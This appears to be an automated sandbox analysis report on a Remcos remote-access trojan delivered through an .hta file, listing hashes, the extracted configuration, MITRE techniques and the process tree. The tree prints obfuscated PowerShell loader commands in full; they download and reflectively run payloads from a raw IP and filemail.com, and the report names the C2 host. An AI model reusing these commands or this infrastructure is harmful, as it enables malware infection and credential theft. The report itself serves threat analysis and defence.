remcos | ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12/11/2024, 09:42

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General

Target

seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta
Size

207KB
MD5

a9cf15c4f82d5c26f48f4a16dfe7bd1a
SHA1

f7f0b669264b0a42b290cb5476e21ffa51eebf34
SHA256

ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57
SHA512

5a5f5e6d18a776646328ce85e59f12424f1fb8c2612d1299db7bc378177be369bb6e391488b02d40a682c37857bcf0576d415534c5aba4796f46c39ea5b21d2c
SSDEEP

48:4FhWsTR/F7gNqXfkz0eZC0yZhboWWCRzESPUJ0cv5p299DdCf+xuj9AoapwSI0t7:43F97AIyCRRtnu4fAf+cZAoaDna8YQ

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

remcos

Botnet

RemoteHost

wayo.duckdns.org:6847

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Z90JT3
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2400-128-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2116-126-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2528-125-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2528-125-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2116-126-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	1704	PoWeRsHELL.EXE
20	4216	powershell.exe
25	4216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe
4216	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
1704	PoWeRsHELL.EXE
2312	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4216 set thread context of 1036	4216	powershell.exe	102
PID 1036 set thread context of 2116	1036	CasPol.exe	104
PID 1036 set thread context of 2528	1036	CasPol.exe	105
PID 1036 set thread context of 2400	1036	CasPol.exe	106

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWeRsHELL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	PoWeRsHELL.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1704	PoWeRsHELL.EXE
1704	PoWeRsHELL.EXE
2312	powershell.exe
2312	powershell.exe
4840	powershell.exe
4840	powershell.exe
4216	powershell.exe
4216	powershell.exe
2116	CasPol.exe
2116	CasPol.exe
2400	CasPol.exe
2400	CasPol.exe
2116	CasPol.exe
2116	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1036	CasPol.exe
1036	CasPol.exe
1036	CasPol.exe
1036	CasPol.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1704	PoWeRsHELL.EXE
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	4216	powershell.exe
Token: SeDebugPrivilege	2400	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1036	CasPol.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 1704	4148	mshta.exe	86
PID 4148 wrote to memory of 1704	4148	mshta.exe	86
PID 4148 wrote to memory of 1704	4148	mshta.exe	86
PID 1704 wrote to memory of 2312	1704	PoWeRsHELL.EXE	88
PID 1704 wrote to memory of 2312	1704	PoWeRsHELL.EXE	88
PID 1704 wrote to memory of 2312	1704	PoWeRsHELL.EXE	88
PID 1704 wrote to memory of 1104	1704	PoWeRsHELL.EXE	93
PID 1704 wrote to memory of 1104	1704	PoWeRsHELL.EXE	93
PID 1704 wrote to memory of 1104	1704	PoWeRsHELL.EXE	93
PID 1104 wrote to memory of 3016	1104	csc.exe	94
PID 1104 wrote to memory of 3016	1104	csc.exe	94
PID 1104 wrote to memory of 3016	1104	csc.exe	94
PID 1704 wrote to memory of 440	1704	PoWeRsHELL.EXE	96
PID 1704 wrote to memory of 440	1704	PoWeRsHELL.EXE	96
PID 1704 wrote to memory of 440	1704	PoWeRsHELL.EXE	96
PID 440 wrote to memory of 4840	440	WScript.exe	97
PID 440 wrote to memory of 4840	440	WScript.exe	97
PID 440 wrote to memory of 4840	440	WScript.exe	97
PID 4840 wrote to memory of 4216	4840	powershell.exe	99
PID 4840 wrote to memory of 4216	4840	powershell.exe	99
PID 4840 wrote to memory of 4216	4840	powershell.exe	99
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 4216 wrote to memory of 1036	4216	powershell.exe	102
PID 1036 wrote to memory of 976	1036	CasPol.exe	103
PID 1036 wrote to memory of 976	1036	CasPol.exe	103
PID 1036 wrote to memory of 976	1036	CasPol.exe	103
PID 1036 wrote to memory of 2116	1036	CasPol.exe	104
PID 1036 wrote to memory of 2116	1036	CasPol.exe	104
PID 1036 wrote to memory of 2116	1036	CasPol.exe	104
PID 1036 wrote to memory of 2116	1036	CasPol.exe	104
PID 1036 wrote to memory of 2528	1036	CasPol.exe	105
PID 1036 wrote to memory of 2528	1036	CasPol.exe	105
PID 1036 wrote to memory of 2528	1036	CasPol.exe	105
PID 1036 wrote to memory of 2528	1036	CasPol.exe	105
PID 1036 wrote to memory of 2400	1036	CasPol.exe	106
PID 1036 wrote to memory of 2400	1036	CasPol.exe	106
PID 1036 wrote to memory of 2400	1036	CasPol.exe	106
PID 1036 wrote to memory of 2400	1036	CasPol.exe	106

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
  "C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2312
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zcsy5o0v\zcsy5o0v.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8174.tmp" "c:\Users\Admin\AppData\Local\Temp\zcsy5o0v\CSC396080E4024A39AD9383C4CB9551.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3016
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:440
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4840
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4216
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1036
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\egbzlbanuvmwllha"
        7⤵
        
        PID:976
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\egbzlbanuvmwllha"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2116
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\pigjmtkhidebvrvemjb"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2528
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rctcnmvbwlwoxfrivuvcfji"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
515191e2f4621f9e3906f24e03e5f568

SHA1
8fe0c10b13c990aba6c32514a1fcb509f075587b

SHA256
28c1fba33974826683c549307abb51ad851629b7e58f68bff813262ed8addbd8

SHA512
4d5838ac3adc2a11c5963b75fcb23818a2eb1a7cb8307e4d6fa6144f8208922ccdef7c590b3eb58e9cbba323803013e31dcb3c792c1a1b5f7e6ff092cc0dac74

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoWeRsHELL.EXE.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
9be5b063a7c5d44ed99bf0fbb51f1086

SHA1
c94f2df2ee3e60a5fdf66994d954586e65b1247d

SHA256
c4618aa00cadfd17ece31506b7da90f2453abc60ed796e74fd754aa79a3b5d29

SHA512
8bc4d4ecae606c1997885a13477ca5a978a07962c2ba83c62e4d45d332870e852266efb109144f6c5af9b59bc7f69e4059ea66907a99583047bcc89aa8a1820a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
f38cd1e42aa7d61bc583db0d0a98ee61

SHA1
9524392731262f958267c6bc755ed24fce0affd2

SHA256
23a6b6e9fc02c41aa1098bdcf4952189f544f164ff232bd1d669d9e422737b61

SHA512
e0ed666171698a5a04ca120d4c72501a2fe7fd5c9e476c47affb76af8ebda90763d4122c57417978568548a8e022cd97b8a3ce140c6c2ae0e3adb3d66bdf21f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8174.tmp

Filesize
1KB

MD5
ba14519b51d16698df9479fc589ef3b0

SHA1
04aa1c1000ffb600dc045208bf33f3dbd3b78b07

SHA256
58939b35c28f33ec962934439908ecd956d9e5027d2a51d025a3fc07288fc2e7

SHA512
be12c79a62b7734166f5ad21620b67ebc4218a318824893676f8012c660d3ea54c426408759c0b2be59a230c43be38823f00326f1b6f2a66d8f29edbfbc17ec7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ggdato0s.f3a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\egbzlbanuvmwllha

Filesize
4KB

MD5
bc25ccf39db8626dc249529bcc8c5639

SHA1
3e9cbdb20a0970a3c13719a2f289d210cdcc9e1d

SHA256
b333f8c736c701bc826886f395d928731850cbce6db77be752b3cf7979114904

SHA512
9a546127bddc1d187e674cda82e6c5046cac7f3e6f9515aed68d5bff2264b9d679d857dd97270e10826cd11ce2d92d82dd7f9801e19027e346b60bcc814cca1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\zcsy5o0v\zcsy5o0v.dll

Filesize
3KB

MD5
507d747d3720a1fe3971a0864a34ea5d

SHA1
fed2ff8c69208b30fa885a29ccbda2cba4f7b468

SHA256
12b81c1e2417b5aa1249721efb3fd44f968c42dac75548a0b069941d291519ba

SHA512
54df45b32715a1f06451c7bf443d164fc89f44fc8e403c6be95b18ec47704bd1328cdb311c0a29d7cb0a002aaec362e814b1091ec35b11e40761843d7c5ebf0c

Download Submit
C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS

Filesize
139KB

MD5
1860dcae987d5ed903d93a6cfc698eaf

SHA1
aaee36eb86bd7c80fd0ae9328bea5650f8c74d12

SHA256
d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3

SHA512
73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zcsy5o0v\CSC396080E4024A39AD9383C4CB9551.TMP

Filesize
652B

MD5
e4fe3b9b6ecb9517cf93b993414a1312

SHA1
54296a787de9ffde65ccee714438163e8a31f467

SHA256
d80463790bb2128f6f6301f3d567d82a998694bed96f6b3f59e27067b7946dbc

SHA512
37d096d00c0c5dc68747e67ddedb52ef509fbe75d6ae539ac4bbacb7f5a7894061518671c1d9148ac978782d80622522d3e178cf9b27b526e4593d40308c9eb7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zcsy5o0v\zcsy5o0v.0.cs

Filesize
496B

MD5
f8f40cf06d8b2ceb49d38fdf52e8ecc0

SHA1
1ff0676c6503f21f4899ba1cbc30351318403804

SHA256
39f96499c4e911bc620f0facad68dab4452781beb339326f5910c5caea5714a2

SHA512
